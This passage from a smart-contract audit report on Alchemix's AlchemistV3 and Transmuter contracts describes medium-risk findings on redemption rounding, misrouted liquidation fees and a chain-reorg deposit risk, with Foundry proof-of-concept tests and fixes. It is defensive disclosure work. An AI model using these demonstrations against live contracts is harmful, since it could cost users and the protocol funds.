        alchemistFeeVault = new AlchemistTokenVault(address(fakeUnderlyingToken), address(alchemist),
        ↪  owner);
        alchemistFeeVault.setAuthorization(address(alchemist), true);
        alchemist.setAlchemistFeeVault(address(alchemistFeeVault));
        vm.stopPrank();
    }

    function test_liquidationFee() external {
        uint256 depositAmount = 100e18;
```

```
        address alice = makeAddr("alice");
        address bob = makeAddr("bob");

        _dealYieldToken(alice, depositAmount);
        _dealYieldToken(bob, depositAmount);

        uint256 alicePositionId = _deposit(alice, depositAmount);
        _deposit(bob, depositAmount);

        _mintDebtToken(alice, depositAmount * 9 / 10);

        _adjustPrice(-700);

        fakeUnderlyingToken.mint(address(this), 5e18);
        SafeERC20.safeApprove(address(fakeUnderlyingToken), address(alchemistFeeVault), 5e18);
        alchemistFeeVault.deposit(5e18);

        vm.startPrank(bob);
        vm.expectEmit();
        emit IAlchemistV3Events.Liquidated({
            accountId: alicePositionId,
            liquidator: bob,
            amount: 64_110_000_000_000_000_564,
            feeInYield: 110_999_999_999_999_998,
            feeInUnderlying: 1_794_364_485_981_308_425
        });
        alchemist.liquidate(alicePositionId);
        vm.stopPrank();
    }

    function _dealYieldToken(address user, uint256 amount) internal actAs(user) {
        fakeUnderlyingToken.mint(user, amount);
        SafeERC20.safeApprove(address(fakeUnderlyingToken), address(fakeYieldToken), amount);
        fakeYieldToken.mint(amount, user);
    }

    function _deposit(address user, uint256 amount) internal returns (uint256 tokenId) {
        return _deposit(user, 0, amount);
    }

    function _deposit(address user, uint256 tokenId, uint256 amount) internal actAs(user) returns
    ↪  (uint256) {
        SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount);
        alchemist.deposit(amount, user, tokenId);
        if (tokenId == 0) {
            tokenId = AlchemistNFTHelper.getFirstTokenId(user, address(alchemistNFT));
        }
        return tokenId;
    }

    function _mintDebtToken(address user, uint256 amount) internal {
        uint256 tokenId = AlchemistNFTHelper.getFirstTokenId(user, address(alchemistNFT));
        return _mintDebtToken(user, tokenId, amount);
    }

    function _mintDebtToken(address user, uint256 tokenId, uint256 amount) internal actAs(user) {
        alchemist.mint(tokenId, amount, user);
    }

    function _createRedemption(address user, uint256 amount) internal actAs(user) returns (uint256
    ↪  tokenId) {
        SafeERC20.safeApprove(address(alToken), address(transmuter), amount);
        transmuter.createRedemption(amount);
        return ++redemptionNonce;
    }

    function _adjustPrice(int256 bps) internal {
        uint256 initialVaultSupply = IERC20(address(fakeYieldToken)).totalSupply();
        fakeYieldToken.updateMockTokenSupply(initialVaultSupply);
        uint256 modifiedVaultSupply = uint256(int256(initialVaultSupply) - (int256(initialVaultSupply)
        ↪  * bps / 10_000));
        fakeYieldToken.updateMockTokenSupply(modifiedVaultSupply);
    }
}
```

Recommendation: According to test file, Alchemist's collateralization ratio threshold is around 1.05. This

means that if liquidators act swiftly, positions will have around `1.05 * debt` in collateral at the time of liquidation. Considering that liquidation fee is typically lower than 1 ~ 2%, it's likely that position can cover both liquidation fee and its debt. So it's inefficient to repay most of liquidation fee from fee vaults. A proper fix would be to calculate base fee and excess fee like the following:

```
// base fee is debt * liquidatorFee
feeInYield = account.debt * liquidatorFee / FEE_BPS;
// limit fee to how much collateral is available after debt repayment
account.collateralBalance -= account.debt;
feeInYieldAvailable = account.collateralBalance > feeInYield ? feeInYield : account.collateralBalance;
// excess fee is calculated by subtracting available fee in yield from original fee
feeBonus = convertYieldTokensToUnderlying(feeInYield - feeInYieldAvailable);
```

3.2.13 `claimRedemption()` Rounds Up `amountTransmuted`

Submitted by kvar, also found by KupiaSec

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: `Transmuter.sol#claimRedemption()` calculates `amountNottransmuted` using integer division, which rounds down. This causes `amountTransmuted` to be slightly larger than it should be, resulting in consistent overpayment during redemptions.

Finding Description: In `Transmuter.sol#claimRedemption()`, the `amountTransmuted` is calculated as:

```
```solidity
uint256 amountNottransmuted = blocksLeft > 0 ? position.amount * blocksLeft / transmutationTime : 0;
uint256 amountTransmuted = position.amount - amountNottransmuted;
```
```

Due to integer division, `amountNottransmuted` is always rounded down, which effectively rounds `amountTransmuted` up. This causes more Yield Tokens to be redeemed.

Impact Explanation: If many users claim early (e.g., just after a block), the rounding up of `amountTransmuted` will accumulate, causing consistent under-earmarking. Over time, this can lead to systemic under-collateralization, putting future redemptions and the protocol's solvency at risk.

Likelihood Explanation: Rounding up will occur every time a user calls `claimRedemption()` before full maturation.

Proof of Concept: Add test case in `AlchemistV3.t.sol`:

```
function testClaimRedemptionRoundUp() external {
    uint256 amount = 100e18;
    vm.startPrank(address(0xbeef));
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), 99999e18);
    alchemist.deposit(amount, address(0xbeef), 0);
    uint256 tokenId = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
    alchemist.mint(tokenId, 80e18, address(0xbeef));
    SafeERC20.safeApprove(address(alToken), address(transmuterLogic), 9999e18);

    for (uint256 i = 1; i < 4; i++) {
        transmuterLogic.createRedemption(1e18);
    }
    vm.roll(block.number + 1);
    for (uint256 i = 1; i < 4; i++) {
        transmuterLogic.claimRedemption(i);
    }
    vm.stopPrank();
}
```

Run with: `forge test --mt testClaimRedemptionRoundUp --fork-url <RPC-URL> --fork-block-number 21835200`.

This test case will revert because when the last user claims their redemption early, `Transmuter.sol#claimRedemption()` calls `AlchemistV3.sol#redeem()` with an amount larger than earmarked. This causes a revert due to the `require(increment <= total)` condition in `PositionDecay.sol#WeightIncrement()`.

Recommendation: Consider adjusting the rounding behavior of `amountNottransmuted` in `claimRedemption()` to round up, ensuring that `amountTransmuted` is correctly calculated and does not exceed the earmarked amount.

3.2.14 Base fee and surplus fee are handled incorrectly in `AlchemistV3::liquidate()`

Submitted by prk0

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: The base fee and surplus fee are mistaken for each other in `AlchemistV3::liquidate()`.

Finding Description:

```
function calculateLiquidation(
    uint256 collateral,
    uint256 debt,
    uint256 targetCollateralization,
    uint256 alchemistCurrentCollateralization,
    uint256 alchemistMinimumCollateralization,
    uint256 feeBps
) public pure returns (uint256 grossCollateralToSeize, uint256 debtToBurn, uint256 fee) {
    // SNIP

    // 1) fee is taken from surplus = collateral - debt
    uint256 surplus = collateral > debt ? collateral - debt : 0;
    fee = (surplus * feeBps) / BPS;

    // SNIP
}
```

In `AlchemistV3::calculateLiquidation()`, the fee that is returned is the surplus fee, which is the fee taken on the excess funds between collateral and debt.

```
    function _liquidate(uint256 accountId) internal returns (uint256 debtAmount, uint256 feeInYield, uint256
    ↪  feeInUnderlying) {
        // SNIP

807         if (collateralizationRatio <= collateralizationLowerBound) {
808             uint256 alchemistCurrentCollateralization =
↪   normalizeUnderlyingTokensToDebt(_getTotalUnderlyingValue()) * FIXED_POINT_SCALAR / totalDebt;
809
810             (uint256 liquidationAmount, uint256 debtToBurn, uint256 baseFee) = calculateLiquidation(
811                 collateralInUnderlying, account.debt, minimumCollateralization,
↪   alchemistCurrentCollateralization, globalMinimumCollateralization, liquidatorFee
812             );
813
814         uint256 feeBonus = debtToBurn * liquidatorFee / BPS;
815         uint256 adjustedLiquidationAmount = convertDebtTokensToYield(liquidationAmount);
816           uint256 adjustedDebtToBurn = convertDebtTokensToYield(debtToBurn);
817         debtAmount = adjustedLiquidationAmount;
818         feeInYield = convertDebtTokensToYield(baseFee);
819
820         // update user balance (denominated in yield tokens)
821         account.collateralBalance = account.collateralBalance > adjustedLiquidationAmount ?
↪   account.collateralBalance - adjustedLiquidationAmount : 0;
822
823         // Update users debt (denominated in debt tokens)
824         _subDebt(accountId, debtToBurn);
825
826         // send liquidation amount - any fee to the transmuter. the transmuter only accepts yield tokens
827         TokenUtils.safeTransfer(yieldToken, transmuter, adjustedDebtToBurn);
828
829         if (feeInYield > 0) {
830             // send base fee in yield tokens to liquidator
831             TokenUtils.safeTransfer(yieldToken, msg.sender, feeInYield);
832         }
833
834         // excess fee will be sent in underlying token to the liquidator.
835         // since debt token is 1 : 1 with underyling token
836         if (feeBonus > 0) {
837             uint256 vaultBalance = IFeeVault(alchemistFeeVault).totalDeposits();
838             if (vaultBalance > 0) {
```

```
839                 feeInUnderlying = vaultBalance > feeBonus ? feeBonus : vaultBalance;
840                 IFeeVault(alchemistFeeVault).withdraw(msg.sender, feeInUnderlying);
841             }
842         }
843     }
844
845     return (debtAmount + repaidAmountInYield, feeInYield, feeInUnderlying);
846    }
```

In `AlchemistV3::_liquidate()`, the surplus fee return value is labeled as `baseFee` (line 810).

This amount is later paid to the liquidator from the `feeVault` (lines 829-832).

In `AlchemistV3::_liquidate()`, the `feeBonus` value is treated as the surplus fee, but it is the base fee because it is the liquidation fee taken from the amount of debt that is being liquidated (lines 834-842).

The liquidator will still receive the correct amount of fees, but the fees will be sent from the incorrect sources and in incorrect tokens.

Impact Explanation: Base fee and surplus fee are mishandled, which results in the incorrect amounts being pulled from `feeVault` and `AlchemistV3`.

Likelihood Explanation: Any time `AlchemistV3::liquidate()/AlchemistV3::batch_liquidate()` is called.

Proof of Concept:

```
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.26;

import {IERC20} from "../../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";

import {TransparentUpgradeableProxy} from
↪  "../../lib/openzeppelin-contracts/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {SafeCast} from "../libraries/SafeCast.sol";
import {Test} from "../../lib/forge-std/src/Test.sol";
import {SafeERC20} from "../libraries/SafeERC20.sol";
import {console} from "../../lib/forge-std/src/console.sol";
import {AlchemistV3} from "../AlchemistV3.sol";
import {AlchemicTokenV3} from "../test/mocks/AlchemicTokenV3.sol";
import {Transmuter} from "../Transmuter.sol";
import {AlchemistV3Position} from "../AlchemistV3Position.sol";

import {Whitelist} from "../utils/Whitelist.sol";
import {TestERC20} from "./mocks/TestERC20.sol";
import {TestYieldToken} from "./mocks/TestYieldToken.sol";
import {TokenAdapterMock} from "./mocks/TokenAdapterMock.sol";
import {IAlchemistV3, IAlchemistV3Errors, AlchemistInitializationParams} from "../interfaces/IAlchemistV3.sol";
import {ITransmuter} from "../interfaces/ITransmuter.sol";
import {ITestYieldToken} from "../interfaces/test/ITestYieldToken.sol";
import {InsufficientAllowance} from "../base/Errors.sol";
import {Unauthorized, IllegalArgument, IllegalState, MissingInputData} from "../base/Errors.sol";
import {AlchemistNFTHelper} from "./libraries/AlchemistNFTHelper.sol";
import {IAlchemistV3Position} from "../interfaces/IAlchemistV3Position.sol";
import {AggregatorV3Interface} from
↪  "../../lib/chainlink-brownie-contracts/contracts/src/v0.8/shared/interfaces/AggregatorV3Interface.sol";
import {TokenUtils} from "../libraries/TokenUtils.sol";
import {AlchemistTokenVault} from "../AlchemistTokenVault.sol";

contract AlchemistV3Test_7 is Test {
    // ----- [SETUP] Variables for setting up a minimal CDP -----

    // Callable contract variables
    AlchemistV3 alchemist;
    Transmuter transmuter;
    AlchemistV3Position alchemistNFT;
    AlchemistTokenVault alchemistFeeVault;

    // // Proxy variables
    TransparentUpgradeableProxy proxyAlchemist;
    TransparentUpgradeableProxy proxyTransmuter;

    // // Contract variables
    // CheatCodes cheats = CheatCodes(HEVM_ADDRESS);
    AlchemistV3 alchemistLogic;
```

```
Transmuter transmuterLogic;
AlchemicTokenV3 alToken;
Whitelist whitelist;

// Token addresses
TestERC20 fakeUnderlyingToken;
TestYieldToken fakeYieldToken;
// Total minted debt
uint256 public minted;

// Total debt burned
uint256 public burned;

// Total tokens sent to transmuter
uint256 public sentToTransmuter;

// Parameters for AlchemicTokenV2
string public _name;
string public _symbol;
uint256 public _flashFee;
address public alOwner;

mapping(address => bool) users;

uint256 public constant FIXED_POINT_SCALAR = 1e18;

uint256 public liquidatorFeeBPS = 300; // in BPS, 3%

uint256 public minimumCollateralization = uint256(FIXED_POINT_SCALAR * FIXED_POINT_SCALAR) / 9e17;

// ----- Variables for deposits & withdrawals -----

// account funds to make deposits/test with
uint256 accountFunds = 2_000_000_000e6;

// large amount to test with
uint256 whaleSupply = 20_000_000_000e6;

// amount of yield/underlying token to deposit
uint256 depositAmount = 100_000e6;

// minimum amount of yield/underlying token to deposit
uint256 minimumDeposit = 1000e6;

// minimum amount of yield/underlying token to deposit
uint256 minimumDepositOrWithdrawalLoss = FIXED_POINT_SCALAR;

// random EOA for testing
address externalUser = address(0x69E8cE9bFc01AA33cD2d02Ed91c72224481Fa420);

// another random EOA for testing
address anotherExternalUser = address(0x420Ab24368E5bA8b727E9B8aB967073Ff9316969);

// another random EOA for testing
address yetAnotherExternalUser = address(0x520aB24368e5Ba8B727E9b8aB967073Ff9316961);

// another random EOA for testing
address someWhale = address(0x521aB24368E5Ba8b727e9b8AB967073fF9316961);

// WETH address
address public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

// Mock the price feed call
address ETH_USD_PRICE_FEED_MAINNET = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419;  // @audit never used
↪  anywhere

// Mock the price feed call
uint256 ETH_USD_UPDATE_TIME_MAINNET = 3600 seconds;

function setUp() external {
    // test maniplulation for convenience
    address caller = address(0xdead);
    address proxyOwner = address(this);
    vm.assume(caller != address(0));
    vm.assume(proxyOwner != address(0));
    vm.assume(caller != proxyOwner);
```

```
vm.startPrank(caller);

// Fake tokens

fakeUnderlyingToken = new TestERC20(100e6, uint8(6));
fakeYieldToken = new TestYieldToken(address(fakeUnderlyingToken));
alToken = new AlchemicTokenV3(_name, _symbol, _flashFee);

ITransmuter.TransmuterInitializationParams memory transParams =
↪  ITransmuter.TransmuterInitializationParams({
    syntheticToken: address(alToken),
    feeReceiver: address(this),
    timeToTransmute: 5_256_000,
    transmutationFee: 10,
    exitFee: 20,
    graphSize: 52_560_000
});

// Contracts and logic contracts
alOwner = caller;
transmuterLogic = new Transmuter(transParams);
alchemistLogic = new AlchemistV3();
whitelist = new Whitelist();

// AlchemistV3 proxy
AlchemistInitializationParams memory params = AlchemistInitializationParams({
    admin: alOwner,
    debtToken: address(alToken),
    underlyingToken: address(fakeUnderlyingToken),
    yieldToken: address(fakeYieldToken),
    blocksPerYear: 2_600_000,
    depositCap: type(uint256).max,
    minimumCollateralization: minimumCollateralization,
    collateralizationLowerBound: 1_052_631_578_950_000_000, // 1.05 collateralization
    globalMinimumCollateralization: 1_111_111_111_111_111_111, // 1.1
    tokenAdapter: address(fakeYieldToken),
    transmuter: address(transmuterLogic),
    protocolFee: 0,
    protocolFeeReceiver: address(10),
    liquidatorFee: liquidatorFeeBPS
});

bytes memory alchemParams = abi.encodeWithSelector(AlchemistV3.initialize.selector, params);
proxyAlchemist = new TransparentUpgradeableProxy(address(alchemistLogic), proxyOwner, alchemParams);
alchemist = AlchemistV3(address(proxyAlchemist));

// Whitelist alchemist proxy for minting tokens
alToken.setWhitelist(address(proxyAlchemist), true);

whitelist.add(address(0xbeef));
whitelist.add(externalUser);
whitelist.add(anotherExternalUser);

transmuterLogic.setAlchemist(address(alchemist));
transmuterLogic.setDepositCap(uint256(type(int256).max));

alchemistNFT = new AlchemistV3Position(address(alchemist));
alchemist.setAlchemistPositionNFT(address(alchemistNFT));

alchemistFeeVault = new AlchemistTokenVault(address(fakeUnderlyingToken), address(alchemist), alOwner);
alchemistFeeVault.setAuthorization(address(alchemist), true);
alchemist.setAlchemistFeeVault(address(alchemistFeeVault));
vm.stopPrank();

deal(address(fakeUnderlyingToken), alchemist.alchemistFeeVault(), 10_000e6);

vm.startPrank(anotherExternalUser);

SafeERC20.safeApprove(address(fakeUnderlyingToken), address(fakeYieldToken), accountFunds);

vm.stopPrank();
vm.startPrank(yetAnotherExternalUser);
SafeERC20.safeApprove(address(fakeUnderlyingToken), address(fakeYieldToken), accountFunds);
vm.stopPrank();

vm.startPrank(someWhale);
```

```
        deal(address(fakeYieldToken), someWhale, whaleSupply);
        deal(address(fakeUnderlyingToken), someWhale, whaleSupply);
        SafeERC20.safeApprove(address(fakeUnderlyingToken), address(fakeYieldToken), whaleSupply + 100e18);
        vm.stopPrank();
    }

    function testLiquidationFeeMismatch() public {
        uint256 amount = 100_000e6; // 100,000 EULER USDC
        deal(address(fakeYieldToken), yetAnotherExternalUser, amount * 2);
        deal(address(fakeYieldToken), anotherExternalUser, amount);

        vm.startPrank(someWhale);
        fakeYieldToken.mint(20_000_000e6, someWhale);
        vm.stopPrank();

        // just ensureing global alchemist collateralization stays above the minimum required for regular
        ↪  liquidations
        // no need to mint anything
        vm.startPrank(yetAnotherExternalUser);
        SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount * 2);
        alchemist.deposit(amount, yetAnotherExternalUser, 0);
        vm.stopPrank();

        // user 1 deposits + takes a loan
        vm.startPrank(anotherExternalUser);
        SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount);
        alchemist.deposit(amount, anotherExternalUser, 0);
        // a single position nft would have been minted to 0xbeef
        uint256 tokenId1 = AlchemistNFTHelper.getFirstTokenId(anotherExternalUser, address(alchemistNFT));
        alchemist.mint(tokenId1, alchemist.totalValue(tokenId1) * FIXED_POINT_SCALAR /
        ↪  minimumCollateralization, anotherExternalUser);
        vm.stopPrank();

        // modify yield token price via modifying underlying token supply
        uint256 initialVaultSupply = IERC20(address(fakeYieldToken)).totalSupply();
        fakeYieldToken.updateMockTokenSupply(initialVaultSupply);
        // increasing yeild token suppy by 59 bps or 5.9%  while keeping the unederlying supply unchanged
        uint256 modifiedVaultSupply = (initialVaultSupply * 590 / 10_000) + initialVaultSupply;
        fakeYieldToken.updateMockTokenSupply(modifiedVaultSupply);

        vm.startPrank(address(0xdad));
        deal(address(alToken), address(0xdad), 5000e18);
        SafeERC20.safeApprove(address(alToken), address(transmuterLogic), 5000e18);
        transmuterLogic.createRedemption(5000e18);
        vm.stopPrank();

        vm.roll(block.number + 600);    // time elapse

        // liquidate user 1 (anotherExternalUser)
        uint256 preVaultUnderlyingBalance = IERC20(fakeUnderlyingToken).balanceOf(address(alchemistFeeVault));
        uint256 preUserUnderlyingBalance = IERC20(fakeUnderlyingToken).balanceOf(externalUser);
        uint256 preUserYieldBalance = IERC20(fakeYieldToken).balanceOf(externalUser);

        vm.startPrank(externalUser);
        (uint256 assets, uint256 feeInYield, uint256 feeInUnderlying) = alchemist.liquidate(tokenId1);

        uint256 postVaultUnderlyingBalance = IERC20(fakeUnderlyingToken).balanceOf(address(alchemistFeeVault));
        uint256 postUserUnderlyingBalance = IERC20(fakeUnderlyingToken).balanceOf(externalUser);
        uint256 postUserYieldBalance = IERC20(fakeYieldToken).balanceOf(externalUser);

        console.log("feeInYield: %s", feeInYield);
        console.log("feeInUnderlying", feeInUnderlying);

        console.log("Pre-Liquidate Vault Underlying Balance: %s", preVaultUnderlyingBalance);
        console.log("Post-Liquidate Vault Underlying Balance: %s", postVaultUnderlyingBalance);
        console.log("Pre-Liquidate User Underlying Balance: %s", preUserUnderlyingBalance);
        console.log("Post-Liquidate User Underlying  Balance: %s", postUserUnderlyingBalance);
        console.log("Pre-Liquidate User Yield Balance: %s", preUserYieldBalance);
        console.log("Post-Liquidate User Yield Balance: %s", postUserYieldBalance);
    }
}
```

```
Ran 1 test for src/test/AlchemistV3_7.t.sol:AlchemistV3Test_7
[PASS] testLiquidationFeeMismatch() (gas: 2149942)
Logs:
  feeInYield: 140699807
  feeInUnderlying 10000000000
  Pre-Liquidate Vault Underlying Balance: 10000000000
  Post-Liquidate Vault Underlying Balance: 0
  Pre-Liquidate User Underlying Balance: 0
  Post-Liquidate User Underlying  Balance: 10000000000
  Pre-Liquidate User Yield Balance: 0
  Post-Liquidate User Yield Balance: 140699807

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.15s (46.00ms CPU time)

Ran 1 test suite in 1.50s (1.15s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

In `testLiquidateFeeMismatch()`, `feeInUnderlying` (which is the `baseFee`) is being paid from the `feeVault` while `feeInYield` is paid from `AlchemistV3`.

This is incorrect, as the `baseFee` should be paid from `AlchemistV3`, and any excess fees should come from the `feeVault`.

Recommendation:

```
  function _liquidate(uint256 accountId) internal returns (uint256 debtAmount, uint256 feeInYield, uint256
  ↪  feeInUnderlying) {
      // SNIP

      if (collateralizationRatio <= collateralizationLowerBound) {
          uint256 alchemistCurrentCollateralization =
          ↪  normalizeUnderlyingTokensToDebt(_getTotalUnderlyingValue()) * FIXED_POINT_SCALAR / totalDebt;

          (uint256 liquidationAmount, uint256 debtToBurn, uint256 baseFee) = calculateLiquidation(
              collateralInUnderlying, account.debt, minimumCollateralization,
              ↪  alchemistCurrentCollateralization, globalMinimumCollateralization, liquidatorFee
          );

-         uint256 feeBonus = debtToBurn * liquidatorFee / BPS;
+         feeInYield = convertDebtTokensToYield(debtToBurn * liquidatorFee / BPS);
          uint256 adjustedLiquidationAmount = convertDebtTokensToYield(liquidationAmount);
          uint256 adjustedDebtToBurn = convertDebtTokensToYield(debtToBurn);
          debtAmount = adjustedLiquidationAmount;
-         feeInYield = convertDebtTokensToYield(baseFee);
+         uint256 feeBonus = convertDebtTokensToYield(baseFee);

          // SNIP
      }

      return (debtAmount + repaidAmountInYield, feeInYield, feeInUnderlying);
  }
```

3.2.15 Chain reorganization leads to loss of funds

Submitted by 0xl33

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: The `deposit` function in `AlchemistV3` is vulnerable to chain reorganizations (reorgs) which can cause users to inadvertently deposit collateral into another user's position. This occurs because position IDs are assigned sequentially and users reference positions by these IDs, which can change when transaction order changes during a chain reorg.

Finding Description: The vulnerability exists in the `deposit` function of the `AlchemistV3` contract. When a user makes their first deposit with `recipientId = 0`, a new position is created with a sequentially assigned ID (e.g., 1, 2, 3...). For subsequent deposits, users provide their position ID to add more collateral to that position.

The issue occurs in the following scenario:

1. User A creates a new position by depositing with `recipientId = 0` and receives position ID 1.

2. User B creates a new position by depositing with `recipientId = 0` and receives position ID 2.
3. User A attempts to make a second deposit into their position by providing `recipientId = 1` (their position ID).
4. A chain reorganization occurs, changing the transaction order so that User B's initial deposit is processed first (before User A's).
5. As a result, User B now owns position ID 1, and User A owns position ID 2.
6. User A's second deposit (with `recipientId = 1`) is processed, but now deposits funds into User B's position instead of their own.

The code does not verify ownership of the position when depositing additional collateral, only that the position ID exists:

```
function deposit(uint256 amount, address recipient, uint256 recipientId) external returns (uint256) {
    // ...
    uint256 tokenId = recipientId;

    // Only mint a new position if the id is 0
    if (tokenId == 0) {
        tokenId = IAlchemistV3Position(alchemistPositionNFT).mint(recipient);
        emit AlchemistV3PositionNFTMinted(recipient, tokenId);
    } else {
        _checkForValidAccountId(tokenId);
    }

    _accounts[tokenId].collateralBalance += amount;
    _accounts[tokenId].freeCollateral += amount;
    // ...
}
```

Impact:

1. Users can lose their collateral by inadvertently depositing into another user's position.
2. The user who accidently gains the other user's collateral, can withdraw it, making the chance of recovery very low.
3. While the loss is limited to the collateral transferred in the second deposit, this could still be a significant amount.
4. The issue doesn't affect the protocol's overall solvency but does present a risk to individual users.

Likelihood:

1. Chain reorganizations happen regularly on Ethereum mainnet (typically multiple times per day).
2. However, this specific scenario requires a precise sequence of events:
    - Two different users must create positions around the same time.
    - A chain reorg must occur, where the block(s) in which these transactions are included is reorganized.
    - A user must attempt to deposit into their position a second time, shortly after the first time.

Proof of Concept:

1. Create a new file inside `test` folder named `ChainReorgDepositTest.sol`.
2. Add the below code inside the new file.
3. Run the test with this command: `forge test --mt testChainReorgDepositVulnerability -vv`.

```
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.26;

import {Test} from "../../lib/forge-std/src/Test.sol";
import {IERC20} from "../../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";

import {TransparentUpgradeableProxy} from
↪  "../../lib/openzeppelin-contracts/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {AlchemistV3} from "../AlchemistV3.sol";
```

```
import {AlchemicTokenV3} from "../test/mocks/AlchemicTokenV3.sol";
import {Transmuter} from "../Transmuter.sol";
import {AlchemistV3Position} from "../AlchemistV3Position.sol";
import {Whitelist} from "../utils/Whitelist.sol";
import {TestERC20} from "./mocks/TestERC20.sol";
import {TestYieldToken} from "./mocks/TestYieldToken.sol";
import {TokenAdapterMock} from "./mocks/TokenAdapterMock.sol";
import {IAlchemistV3, AlchemistInitializationParams} from "../interfaces/IAlchemistV3.sol";
import {ITransmuter} from "../interfaces/ITransmuter.sol";
import {AlchemistNFTHelper} from "./libraries/AlchemistNFTHelper.sol";
import {AlchemistTokenVault} from "../AlchemistTokenVault.sol";
import {console} from "../../lib/forge-std/src/console.sol";

/**
 * @title ChainReorgDepositTest
 * @notice Test to demonstrate the chain reorganization vulnerability in the deposit function
 * @dev This test simulates a scenario where a chain reorganization could cause a user to
 *      accidentally deposit into another user's position
 */
contract ChainReorgDepositTest is Test {
    // Contracts
    AlchemistV3 alchemist;
    AlchemistV3Position alchemistNFT;
    Transmuter transmuter;
    TransparentUpgradeableProxy proxyAlchemist;
    AlchemicTokenV3 alToken;
    TestERC20 fakeUnderlyingToken;
    TestYieldToken fakeYieldToken;
    AlchemistTokenVault alchemistFeeVault;

    // Users
    address userA = address(0x1);
    address userB = address(0x2);

    // Constants
    uint256 public constant FIXED_POINT_SCALAR = 1e18;
    uint256 public depositAmount = 100e18;

    // Snapshot ID for state restoration
    uint256 initialSnapshot;

    function setUp() external {
        // Set up test users
        vm.label(userA, "User A");
        vm.label(userB, "User B");

        // Create fake tokens
        fakeUnderlyingToken = new TestERC20(1000e18, 18);
        fakeYieldToken = new TestYieldToken(address(fakeUnderlyingToken));
        alToken = new AlchemicTokenV3("Alchemix Token", "ALTKN", 0);

        // Initialize contracts
        AlchemistV3 alchemistLogic = new AlchemistV3();

        // Set up transmuter
        ITransmuter.TransmuterInitializationParams memory transParams =
        ↪  ITransmuter.TransmuterInitializationParams({
            syntheticToken: address(alToken),
            feeReceiver: address(this),
            timeToTransmute: 5_256_000,
            transmutationFee: 10,
            exitFee: 20,
            graphSize: 52_560_000
        });
        transmuter = new Transmuter(transParams);

        // Set up alchemist parameters
        AlchemistInitializationParams memory params = AlchemistInitializationParams({
            admin: address(this),
            debtToken: address(alToken),
            underlyingToken: address(fakeUnderlyingToken),
            yieldToken: address(fakeYieldToken),
            blocksPerYear: 2_600_000,
            depositCap: type(uint256).max,
            minimumCollateralization: FIXED_POINT_SCALAR * 11 / 10, // 1.1x
            collateralizationLowerBound: FIXED_POINT_SCALAR * 105 / 100, // 1.05x
```

```
        globalMinimumCollateralization: FIXED_POINT_SCALAR * 11 / 10, // 1.1x
        tokenAdapter: address(fakeYieldToken),
        transmuter: address(transmuter),
        protocolFee: 0,
        protocolFeeReceiver: address(0x10),
        liquidatorFee: 300 // 3%
    });

    // Initialize AlchemistV3 via proxy
    bytes memory alchemParams = abi.encodeWithSelector(AlchemistV3.initialize.selector, params);
    proxyAlchemist = new TransparentUpgradeableProxy(address(alchemistLogic), address(this), alchemParams);
    alchemist = AlchemistV3(address(proxyAlchemist));

    // Set up NFT position tracker
    alchemistNFT = new AlchemistV3Position(address(alchemist));
    alchemist.setAlchemistPositionNFT(address(alchemistNFT));

    // Set up fee vault
    alchemistFeeVault = new AlchemistTokenVault(address(fakeUnderlyingToken), address(alchemist),
    ↪  address(this));
    alchemistFeeVault.setAuthorization(address(alchemist), true);
    alchemist.setAlchemistFeeVault(address(alchemistFeeVault));

    // Whitelist the alchemist for minting tokens
    alToken.setWhitelist(address(proxyAlchemist), true);

    // Set up transmuter
    transmuter.setAlchemist(address(alchemist));

    // Fund test users
    deal(address(fakeYieldToken), userA, 1000e18);
    deal(address(fakeYieldToken), userB, 1000e18);

    // First, allow tokens to be transferred
    vm.startPrank(userA);
    IERC20(fakeYieldToken).approve(address(alchemist), depositAmount * 2);
    vm.stopPrank();

    vm.startPrank(userB);
    IERC20(fakeYieldToken).approve(address(alchemist), depositAmount * 2);
    vm.stopPrank();

    // Create a snapshot to revert to for different test scenarios
    initialSnapshot = vm.snapshot();
}

/**
 * @notice Test demonstrating how a chain reorganization could cause a user to deposit into another user's
 ↪  position
 */
function testChainReorgDepositVulnerability() external {
    console.log("\n========== SCENARIO 1: EXPECTED TRANSACTION ORDER ==========");
    // ========== EXPECTED SCENARIO =============
    // 1. User A makes first deposit with id = 0 (creates position with id = 1)
    vm.prank(userA);
    alchemist.deposit(depositAmount, userA, 0);
    uint256 userAPositionId = AlchemistNFTHelper.getFirstTokenId(userA, address(alchemistNFT));
    assertEq(userAPositionId, 1, "User A position ID should be 1");

    // 2. User B makes first deposit with id = 0 (creates position with id = 2)
    vm.prank(userB);
    alchemist.deposit(depositAmount, userB, 0);
    uint256 userBPositionId = AlchemistNFTHelper.getFirstTokenId(userB, address(alchemistNFT));
    assertEq(userBPositionId, 2, "User B position ID should be 2");

    // 3. User A deposits into their position (id = 1)
    vm.prank(userA);
    alchemist.deposit(depositAmount, userA, userAPositionId);

    // Verify that User A's position has 2x the deposit amount
    (uint256 userACollateral,,) = alchemist.getCDP(userAPositionId);
    assertEq(userACollateral, depositAmount * 2, "User A should have 2x deposit amount after second
    ↪  deposit");

    // Verify that User B's position has 1x the deposit amount
    (uint256 userBCollateral,,) = alchemist.getCDP(userBPositionId);
```

```
        assertEq(userBCollateral, depositAmount, "User B should have 1x deposit amount");

        console.log("User A Position ID:", userAPositionId);
        console.log("User A Collateral:", userACollateral);
        console.log("User B Position ID:", userBPositionId);
        console.log("User B Collateral:", userBCollateral);

